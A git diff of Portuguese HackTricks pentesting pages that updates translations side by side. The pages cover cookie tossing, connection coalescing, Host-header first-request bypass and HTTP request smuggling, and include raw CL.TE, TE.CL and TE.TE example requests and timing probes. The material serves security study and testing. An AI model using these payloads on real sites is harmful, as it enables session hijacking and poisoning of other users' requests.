Dependendo de quem tem **o caminho mais específico** ou qual é o **mais antigo**, o navegador **definirá o valor do cookie primeiro** e depois o valor do outro como em: `Cookie: iduser=CookieMaisEspecíficoEMaisAntigo; iduser=MenosEspecífico;`
A maioria dos **sites usará apenas o primeiro valor**. Então, se um atacante quiser definir um cookie, é melhor definir antes que outro seja definido ou definir com um caminho mais específico.
A maioria dos **sites usará apenas o primeiro valor**. Portanto, se um atacante quiser definir um cookie, é melhor defini-lo antes que outro seja definido ou defini-lo com um caminho mais específico.
{% hint style="warning" %}
Além disso, a capacidade de **definir um cookie em um caminho mais específico** é muito interessante, pois você poderá fazer a **vítima trabalhar com seu cookie, exceto no caminho específico onde o cookie malicioso definido será enviado antes**.
Além disso, a capacidade de **definir um cookie em um caminho mais específico** é muito interessante, pois você poderá fazer com que a **vítima trabalhe com seu cookie, exceto no caminho específico onde o cookie malicioso definido será enviado primeiro**.
{% endhint %}
## Proteção Bypass
## Bypass de Proteção
Uma possível proteção contra esse ataque seria que o **servidor web não aceitasse solicitações com dois cookies com o mesmo nome, mas com dois valores diferentes**.
Para contornar o cenário em que o atacante está definindo um cookie depois que a vítima já recebeu o cookie, o atacante poderia causar um **overflow de cookie** e então, uma vez que o **cookie legítimo seja excluído, definir o malicioso**.
Para contornar o cenário em que o atacante está definindo um cookie depois que a vítima já recebeu o cookie, o atacante poderia causar um **overflow de cookie** e, uma vez que o **cookie legítimo for excluído, definir o malicioso**.
{% content-ref url="cookie-jar-overflow.md" %}
[cookie-jar-overflow.md](cookie-jar-overflow.md)
{% endcontent-ref %}
Outro **bypass** útil poderia ser **codificar o nome do cookie na URL** já que algumas proteções verificam se há 2 cookies com o mesmo nome em uma solicitação e então o servidor decodificará os nomes dos cookies.
Outro **bypass** útil poderia ser **codificar em URL o nome do cookie** pois algumas proteções verificam se há 2 cookies com o mesmo nome em uma solicitação e então o servidor decodificará os nomes dos cookies.
## Cookie Bomb
## Bomba de Cookie
Um ataque de Cookie Tossing também pode ser usado para realizar um ataque de **Cookie Bomb**:
@ -65,8 +65,8 @@ Um ataque de Cookie Tossing também pode ser usado para realizar um ataque de **
### **Use o prefixo `__Host` no nome do cookie**
* Se um nome de cookie tiver esse prefixo, ele **será aceito** apenas em uma diretiva Set-Cookie se estiver marcado como Seguro, foi enviado de uma origem segura, não incluir um atributo de Domínio e tiver o atributo de Caminho definido para /
* **Isso impede que subdomínios forcem um cookie para o domínio principal, já que esses cookies podem ser vistos como "bloqueados por domínio"**
* Se um nome de cookie tiver esse prefixo, ele **será aceito apenas** em uma diretiva Set-Cookie se for marcado como Seguro, foi enviado de uma origem segura, não incluir um atributo de Domínio e tiver o atributo de Caminho definido como /
* **Isso impede que subdomínios forcem um cookie para o domínio principal, pois esses cookies podem ser vistos como "bloqueados por domínio"**
## Referências
@ -77,14 +77,14 @@ Um ataque de Cookie Tossing também pode ser usado para realizar um ataque de **
<details>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -6,10 +6,10 @@
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -18,9 +18,9 @@ Outras maneiras de apoiar o HackTricks:
Navegadores da web podem reutilizar uma única conexão HTTP/2+ para diferentes sites por meio da [coalescência de conexão HTTP](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing), desde que compartilhem endereços IP e um certificado TLS comum. No entanto, isso pode entrar em conflito com o **roteamento de primeira solicitação** em proxies reversos, onde solicitações subsequentes são direcionadas ao back-end determinado pela primeira solicitação. Esse encaminhamento incorreto pode levar a vulnerabilidades de segurança, especialmente quando combinado com certificados TLS curinga e domínios como `*.example.com`.
Por exemplo, se `wordpress.example.com` e `secure.example.com` são ambos servidos pelo mesmo proxy reverso e possuem um certificado curinga comum, a coalescência de conexão do navegador pode fazer com que as solicitações para `secure.example.com` sejam processadas incorretamente pelo back-end do WordPress, explorando vulnerabilidades como XSS.
Por exemplo, se `wordpress.example.com` e `secure.example.com` forem ambos servidos pelo mesmo proxy reverso e tiverem um certificado curinga comum, a coalescência de conexão do navegador poderia fazer com que as solicitações para `secure.example.com` fossem processadas incorretamente pelo back-end do WordPress, explorando vulnerabilidades como XSS.
Para observar a coalescência de conexão, a guia de Rede do Chrome ou ferramentas como Wireshark podem ser usadas. Aqui está um trecho para teste:
Para observar a coalescência de conexão, pode-se usar a guia de Rede do Chrome ou ferramentas como o Wireshark. Aqui está um trecho para teste:
```javascript
fetch('//sub1.hackxor.net/', {mode: 'no-cors', credentials: 'include'}).then(()=>{ fetch('//sub2.hackxor.net/', {mode: 'no-cors', credentials: 'include'}) })
```
@ -34,10 +34,10 @@ As melhores práticas incluem evitar o roteamento do primeiro pedido em proxies
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,12 +2,12 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
@ -18,7 +18,7 @@
### Validação do Primeiro Pedido
Ao rotear solicitações, proxies reversos podem depender do **cabeçalho Host** para determinar o servidor de back-end de destino, muitas vezes confiando em uma lista branca de hosts que têm acesso permitido. No entanto, uma vulnerabilidade existe em alguns proxies onde a lista branca é aplicada apenas na solicitação inicial em uma conexão. Consequentemente, os atacantes poderiam explorar isso fazendo primeiro uma solicitação a um host permitido e depois solicitando um site interno pela mesma conexão:
Ao rotear solicitações, proxies reversos podem depender do **cabeçalho Host** para determinar o servidor de back-end de destino, muitas vezes confiando em uma lista branca de hosts que têm permissão de acesso. No entanto, existe uma vulnerabilidade em alguns proxies onde a lista branca é aplicada apenas na solicitação inicial em uma conexão. Consequentemente, os atacantes poderiam explorar isso fazendo primeiro uma solicitação a um host permitido e, em seguida, solicitando um site interno pela mesma conexão:
```text
GET / HTTP/1.1
Host: [allowed-external-host]
@ -45,12 +45,12 @@ Para identificar essas vulnerabilidades, o recurso 'connection-state probe' no H
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

View file

@ -6,18 +6,18 @@
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
## O que é
Essa vulnerabilidade ocorre quando uma **desincronização** entre **proxies de front-end** e o **servidor de back-end** permite que um **atacante** **envie** uma **solicitação HTTP** que será **interpretada** como uma **única solicitação** pelos **proxies de front-end** (balanceador de carga/proxy reverso) e **como 2 solicitações** pelo **servidor de back-end**.\
Isso permite que um usuário **modifique a próxima solicitação que chega ao servidor de back-end após a dele**.
Essa vulnerabilidade ocorre quando uma **desincronização** entre **proxies de front-end** e o **servidor de back-end** permite que um **atacante** envie uma **requisição HTTP** que será **interpretada** como uma **única requisição** pelos **proxies de front-end** (balanceador de carga/proxy reverso) e **como 2 requisições** pelo **servidor de back-end**.\
Isso permite que um usuário **modifique a próxima requisição que chega ao servidor de back-end após a dele**.
### Teoria
@ -37,31 +37,31 @@ Isso permite que um usuário **modifique a próxima solicitação que chega ao s
### Realidade
O **Front-End** (um balanceador de carga / Proxy Reverso) **processa** o cabeçalho _**content-length**_ ou o cabeçalho _**transfer-encoding**_ e o **servidor de Back-End** **processa o outro** provocando uma **desincronização** entre os 2 sistemas.\
Isso pode ser muito crítico, pois **um atacante poderá enviar uma solicitação** para o proxy reverso que será **interpretada** pelo **servidor de back-end como 2 solicitações diferentes**. O **perigo** dessa técnica reside no fato de que o **servidor de back-end interpretará a 2ª solicitação injetada** como se ela **viesse do próximo cliente** e a **solicitação real** desse cliente fará **parte** da **solicitação injetada**.
Isso pode ser muito crítico, pois **um atacante poderá enviar uma requisição** para o proxy reverso que será **interpretada** pelo **servidor de back-end como 2 requisições diferentes**. O **perigo** dessa técnica reside no fato de que o **servidor de back-end interpretará a 2ª requisição injetada** como se ela **viesse do próximo cliente** e a **requisição real** desse cliente fará **parte** da **requisição injetada**.
### Particularidades
Lembre-se de que no HTTP **um caractere de nova linha é composto por 2 bytes:**
* **Content-Length**: Esse cabeçalho usa um **número decimal** para indicar o **número** de **bytes** do **corpo** da solicitação. O corpo é esperado para terminar no último caractere, **uma nova linha não é necessária no final da solicitação**.
* **Content-Length**: Esse cabeçalho usa um **número decimal** para indicar o **número** de **bytes** do **corpo** da requisição. O corpo é esperado para terminar no último caractere, **uma nova linha não é necessária no final da requisição**.
* **Transfer-Encoding:** Esse cabeçalho usa no **corpo** um **número hexadecimal** para indicar o **número** de **bytes** do **próximo chunk**. O **chunk** deve **terminar** com uma **nova linha**, mas essa nova linha **não é contada** pelo indicador de comprimento. Esse método de transferência deve terminar com um **chunk de tamanho 0 seguido por 2 novas linhas**: `0`
* **Connection**: Com base em minha experiência, é recomendado usar **`Connection: keep-alive`** na primeira solicitação do Request Smuggling.
* **Connection**: Com base em minha experiência, é recomendado usar **`Connection: keep-alive`** na primeira requisição do Request Smuggling.
## Exemplos Básicos
Os ataques de solicitação de desincronização HTTP são elaborados enviando solicitações ambíguas que exploram discrepâncias na forma como os servidores de front-end e de back-end interpretam os cabeçalhos `Content-Length` (CL) e `Transfer-Encoding` (TE). Esses ataques podem se manifestar de diferentes formas, principalmente como **CL.TE**, **TE.CL** e **TE.TE**. Cada tipo representa uma combinação única de como os servidores de front-end e de back-end priorizam esses cabeçalhos. As vulnerabilidades surgem do processamento das mesmas solicitações pelos servidores de maneiras diferentes, levando a resultados inesperados e potencialmente maliciosos.
Os ataques de requisição de desincronização HTTP são elaborados enviando requisições ambíguas que exploram discrepâncias na forma como os servidores de front-end e back-end interpretam os cabeçalhos `Content-Length` (CL) e `Transfer-Encoding` (TE). Esses ataques podem se manifestar em diferentes formas, principalmente como **CL.TE**, **TE.CL** e **TE.TE**. Cada tipo representa uma combinação única de como os servidores de front-end e back-end priorizam esses cabeçalhos. As vulnerabilidades surgem do processamento das mesmas requisições pelos servidores de maneiras diferentes, levando a resultados inesperados e potencialmente maliciosos.
### Exemplos Básicos de Tipos de Vulnerabilidades
![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
#### Vulnerabilidade CL.TE (Content-Length usado pelo Front-End, Transfer-Encoding usado pelo Back-End)
- **Front-End (CL):** Processa a solicitação com base no cabeçalho `Content-Length`.
- **Back-End (TE):** Processa a solicitação com base no cabeçalho `Transfer-Encoding`.
- **Front-End (CL):** Processa a requisição com base no cabeçalho `Content-Length`.
- **Back-End (TE):** Processa a requisição com base no cabeçalho `Transfer-Encoding`.
- **Cenário de Ataque:**
- O atacante envia uma solicitação em que o valor do cabeçalho `Content-Length` não corresponde ao comprimento real do conteúdo.
- O servidor de front-end encaminha a solicitação inteira para o back-end, com base no valor de `Content-Length`.
- O servidor de back-end processa a solicitação em chunks devido ao cabeçalho `Transfer-Encoding: chunked`, interpretando os dados restantes como uma solicitação separada e subsequente.
- O atacante envia uma requisição onde o valor do cabeçalho `Content-Length` não corresponde ao comprimento real do conteúdo.
- O servidor de front-end encaminha a requisição inteira para o back-end, com base no valor de `Content-Length`.
- O servidor de back-end processa a requisição como chunked devido ao cabeçalho `Transfer-Encoding: chunked`, interpretando os dados restantes como uma requisição separada e subsequente.
- **Exemplo:**
```
POST / HTTP/1.1
@ -77,12 +77,12 @@ Foo: x
```
#### Vulnerabilidade TE.CL (Transfer-Encoding usado pelo Front-End, Content-Length usado pelo Back-End)
- **Front-End (TE):** Processa a solicitação com base no cabeçalho `Transfer-Encoding`.
- **Back-End (CL):** Processa a solicitação com base no cabeçalho `Content-Length`.
- **Front-End (TE):** Processa a requisição com base no cabeçalho `Transfer-Encoding`.
- **Back-End (CL):** Processa a requisição com base no cabeçalho `Content-Length`.
- **Cenário de Ataque:**
- O atacante envia uma solicitação em chunks onde o tamanho do chunk (`7b`) e o comprimento real do conteúdo (`Content-Length: 4`) não se alinham.
- O servidor de front-end, respeitando `Transfer-Encoding`, encaminha a solicitação inteira para o back-end.
- O servidor de back-end, respeitando `Content-Length`, processa apenas a parte inicial da solicitação (`7b` bytes), deixando o restante como parte de uma solicitação subsequente não intencional.
- O atacante envia uma requisição chunked onde o tamanho do chunk (`7b`) e o comprimento real do conteúdo (`Content-Length: 4`) não se alinham.
- O servidor de front-end, respeitando `Transfer-Encoding`, encaminha a requisição inteira para o back-end.
- O servidor de back-end, respeitando `Content-Length`, processa apenas a parte inicial da requisição (`7b` bytes), deixando o restante como parte de uma subsequente e não intencional requisição.
- **Exemplo:**
```
POST / HTTP/1.1
@ -103,11 +103,11 @@ x=
```
#### Vulnerabilidade TE.TE (Transfer-Encoding usado por ambos, com obfuscação)
- **Servidores:** Ambos suportam `Transfer-Encoding`, mas um pode ser enganado para ignorá-lo por meio de obfuscação.
- **Servidores:** Ambos suportam `Transfer-Encoding`, mas um pode ser enganado para ignorá-lo via obfuscação.
- **Cenário de Ataque:**
- O atacante envia uma solicitação com cabeçalhos de `Transfer-Encoding` obfuscados.
- O atacante envia uma requisição com cabeçalhos de `Transfer-Encoding` obfuscados.
- Dependendo de qual servidor (front-end ou back-end) falha em reconhecer a obfuscação, uma vulnerabilidade CL.TE ou TE.CL pode ser explorada.
- A parte não processada da solicitação, conforme vista por um dos servidores, torna-se parte de uma solicitação subsequente, levando à desincronização.
- A parte não processada da requisição, conforme vista por um dos servidores, se torna parte de uma requisição subsequente, levando a desincronização.
- **Exemplo:**
```
POST / HTTP/1.1
@ -127,8 +127,8 @@ Transfer-Encoding
```
#### **Cenário CL.CL (Content-Length usado por ambos Front-End e Back-End):**
- Ambos os servidores processam a solicitação com base exclusivamente no cabeçalho `Content-Length`.
- Esse cenário geralmente não leva à desincronização, pois há alinhamento na forma como ambos os servidores interpretam o comprimento da solicitação.
- Ambos os servidores processam a requisição baseados exclusivamente no cabeçalho `Content-Length`.
- Esse cenário geralmente não leva a desincronização, pois há alinhamento na forma como ambos os servidores interpretam o comprimento da requisição.
- **Exemplo:**
```
POST / HTTP/1.1
@ -136,12 +136,12 @@ Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive
Solicitação Normal
Requisição Normal
```
#### **Cenário CL != 0:**
- Refere-se a cenários em que o cabeçalho `Content-Length` está presente e tem um valor diferente de zero, indicando que o corpo da solicitação tem conteúdo.
- É crucial para entender e elaborar ataques de desincronização, pois influencia como os servidores determinam o final de uma solicitação.
- Refere-se a cenários onde o cabeçalho `Content-Length` está presente e tem um valor diferente de zero, indicando que o corpo da requisição tem conteúdo.
- É crucial para entender e elaborar ataques de desincronização, pois influencia como os servidores determinam o final de uma requisição.
- **Exemplo:**
```
POST / HTTP/1.1
@ -154,7 +154,7 @@ Corpo Não Vazio
#### Forçando via cabeçalhos hop-by-hop
Abusando dos cabeçalhos hop-by-hop, você pode indicar ao proxy para **excluir o cabeçalho Content-Length ou Transfer-Encoding para que um ataque de desincronização de solicitação HTTP seja possível de ser abusado**.
Abusando dos cabeçalhos hop-by-hop, você pode indicar ao proxy para **excluir o cabeçalho Content-Length ou Transfer-Encoding para que um HTTP request smuggling seja possível de ser abusado**.
```
Connection: Content-Length
```
@ -167,7 +167,7 @@ Para **mais informações sobre cabeçalhos hop-by-hop** visite:
## Encontrando HTTP Request Smuggling
A identificação de vulnerabilidades de HTTP request smuggling frequentemente pode ser alcançada utilizando técnicas de temporização, que dependem de observar quanto tempo o servidor leva para responder a solicitações manipuladas. Essas técnicas são particularmente úteis para detectar vulnerabilidades CL.TE e TE.CL. Além desses métodos, existem outras estratégias e ferramentas que podem ser usadas para encontrar tais vulnerabilidades:
Identificar vulnerabilidades de HTTP request smuggling frequentemente pode ser alcançado utilizando técnicas de temporização, que dependem de observar quanto tempo o servidor leva para responder a solicitações manipuladas. Essas técnicas são particularmente úteis para detectar vulnerabilidades CL.TE e TE.CL. Além desses métodos, existem outras estratégias e ferramentas que podem ser usadas para encontrar tais vulnerabilidades:
### Encontrando Vulnerabilidades CL.TE Usando Técnicas de Temporização
- **Método:**
@ -185,8 +185,8 @@ A
0
```
- **Observação:**
- O servidor front-end processa a solicitação com base no `Content-Length` e interrompe a mensagem prematuramente.
- O servidor back-end, esperando uma mensagem segmentada, aguarda o próximo segmento que nunca chega, causando um atraso.
- O servidor front-end processa a solicitação com base no `Content-Length` e corta a mensagem prematuramente.
- O servidor back-end, esperando uma mensagem chunked, aguarda o próximo chunk que nunca chega, causando um atraso.
- **Indicadores:**
- Timeouts ou longos atrasos na resposta.
@ -208,7 +208,7 @@ X
```
- **Observação:**
- O servidor front-end processa a solicitação com base no `Transfer-Encoding` e encaminha a mensagem inteira.
- O servidor back-end, esperando uma mensagem com base no `Content-Length`, aguarda dados adicionais que nunca chegam, causando um atraso.
- O servidor back-end, esperando uma mensagem com base no `Content-Length`, aguarda por dados adicionais que nunca chegam, causando um atraso.
### Outros Métodos para Encontrar Vulnerabilidades
- **Análise Diferencial de Resposta:**
@ -224,19 +224,19 @@ X
- Enviar solicitações com cabeçalhos de `Transfer-Encoding` obfuscados ou malformados e monitorar como os servidores front-end e back-end respondem de maneira diferente a essas manipulações.
### Teste de Vulnerabilidade de HTTP Request Smuggling
### Testando a Vulnerabilidade de HTTP Request Smuggling
Após confirmar a eficácia das técnicas de temporização, é crucial verificar se as solicitações do cliente podem ser manipuladas. Um método direto é tentar envenenar suas solicitações, por exemplo, fazer uma solicitação para `/` resultar em uma resposta 404. Os exemplos `CL.TE` e `TE.CL` discutidos anteriormente em [Exemplos Básicos](./#basic-examples) demonstram como envenenar a solicitação de um cliente para obter uma resposta 404, apesar do cliente tentar acessar um recurso diferente.
Após confirmar a eficácia das técnicas de temporização, é crucial verificar se as solicitações do cliente podem ser manipuladas. Um método direto é tentar envenenar suas solicitações, por exemplo, fazendo com que uma solicitação para `/` resulte em uma resposta 404. Os exemplos `CL.TE` e `TE.CL` discutidos anteriormente em [Exemplos Básicos](./#basic-examples) demonstram como envenenar a solicitação de um cliente para obter uma resposta 404, apesar do cliente tentar acessar um recurso diferente.
**Considerações Importantes**
Ao testar vulnerabilidades de request smuggling interferindo em outras solicitações, tenha em mente:
* **Conexões de Rede Distintas:** As solicitações "de ataque" e "normais" devem ser enviadas por conexões de rede separadas. Utilizar a mesma conexão para ambas não valida a presença da vulnerabilidade.
* **URL e Parâmetros Consistentes:** Procure usar URLs e nomes de parâmetros idênticos para ambas as solicitações. Aplicações modernas frequentemente roteiam solicitações para servidores back-end específicos com base em URL e parâmetros. Correspondendo a esses aumenta a probabilidade de que ambas as solicitações sejam processadas pelo mesmo servidor, um requisito para um ataque bem-sucedido.
* **URL e Parâmetros Consistentes:** Procure usar URLs e nomes de parâmetros idênticos para ambas as solicitações. Aplicações modernas frequentemente roteiam solicitações para servidores back-end específicos com base no URL e parâmetros. Correspondendo a esses aumenta a probabilidade de que ambas as solicitações sejam processadas pelo mesmo servidor, um requisito para um ataque bem-sucedido.
* **Temporização e Condições de Corrida:** A solicitação "normal", destinada a detectar interferência da solicitação "de ataque", concorre com outras solicitações de aplicativos concorrentes. Portanto, envie a solicitação "normal" imediatamente após a solicitação "de ataque". Aplicações ocupadas podem exigir várias tentativas para confirmar a vulnerabilidade de forma conclusiva.
* **Desafios de Balanceamento de Carga:** Servidores front-end atuando como balanceadores de carga podem distribuir solicitações entre vários sistemas back-end. Se as solicitações "de ataque" e "normais" acabarem em sistemas diferentes, o ataque não terá sucesso. Este aspecto de balanceamento de carga pode exigir várias tentativas para confirmar uma vulnerabilidade.
* **Impacto Não Intencional no Usuário:** Se seu ataque impactar inadvertidamente a solicitação de outro usuário (não a solicitação "normal" que você enviou para detecção), isso indica que seu ataque influenciou outro usuário do aplicativo. Testes contínuos podem perturbar outros usuários, exigindo uma abordagem cautelosa.
